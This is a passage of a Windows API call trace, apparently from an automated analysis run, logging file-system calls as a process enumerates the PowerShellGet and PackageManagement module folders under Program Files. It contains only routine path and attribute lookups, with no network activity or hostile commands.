Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0204.714] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x5a2e96c | out: lpFindFileData=0x5a2e96c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5bb8370 [0204.714] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0204.714] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0204.714] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0204.714] FindClose (in: hFindFile=0x5bb8370 | out: hFindFile=0x5bb8370) returned 1 [0204.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e92c) returned 1 [0204.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eb8c) returned 1 [0204.715] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0204.715] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0204.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e910) returned 1 [0204.715] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2ebd4 | out: lpFileInformation=0x5a2ebd4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0204.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e90c) returned 1 [0204.715] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0204.715] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0204.716] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0204.716] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0204.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e934) returned 1 [0204.716] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2570108 | out: lpFileInformation=0x2570108*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0204.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e930) returned 1 [0204.716] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0204.716] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0204.717] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0204.717] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0204.717] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0204.717] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0204.815] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0xffffffff [0204.828] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0204.829] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebbc) returned 1 [0204.829] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0204.830] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x31, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x30 [0204.830] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x5a2e96c | out: lpFindFileData=0x5a2e96c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5bb8370 [0204.830] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0204.831] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0204.831] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0204.831] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0204.831] FindClose (in: hFindFile=0x5bb8370 | out: hFindFile=0x5bb8370) returned 1 [0204.831] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e92c) returned 1 [0204.831] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eb8c) returned 1 [0204.831] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0204.832] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0204.832] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0204.832] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0204.832] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0204.832] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0204.832] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0204.832] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0204.832] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e90c) returned 1 [0204.832] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x5a2ebd0 | out: lpFileInformation=0x5a2ebd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0204.833] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e908) returned 1 [0204.833] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0204.833] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0204.833] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e90c) returned 1 [0204.833] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x5a2ebd0 | out: lpFileInformation=0x5a2ebd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0204.833] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e908) returned 1 [0204.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebbc) returned 1 [0204.834] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0204.834] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0204.834] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x5a2e96c | out: lpFindFileData=0x5a2e96c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5bb8370 [0204.834] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0204.835] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49a61de0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49a61de0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0204.835] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0204.835] FindClose (in: hFindFile=0x5bb8370 | out: hFindFile=0x5bb8370) returned 1 [0204.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e92c) returned 1 [0204.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eb8c) returned 1 [0204.835] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0204.835] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0204.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e910) returned 1 [0204.835] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2ebd4 | out: lpFileInformation=0x5a2ebd4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0204.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e90c) returned 1 [0204.836] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0204.836] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0204.836] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x62 [0204.836] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x62, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x61 [0204.836] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e934) returned 1 [0204.836] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2579bc0 | out: lpFileInformation=0x2579bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a3bc80, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0204.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e930) returned 1 [0204.836] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0204.837] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0204.837] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0204.837] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0204.837] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0204.837] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0204.838] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebbc) returned 1 [0204.838] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0204.838] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0204.838] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x5a2e96c | out: lpFindFileData=0x5a2e96c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5bb8370 [0204.838] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0204.839] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0204.839] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0204.839] FindClose (in: hFindFile=0x5bb8370 | out: hFindFile=0x5bb8370) returned 1 [0204.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e92c) returned 1 [0204.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eb8c) returned 1 [0204.839] GetFullPathNameW (in: lpFileName="C:\\Program Files 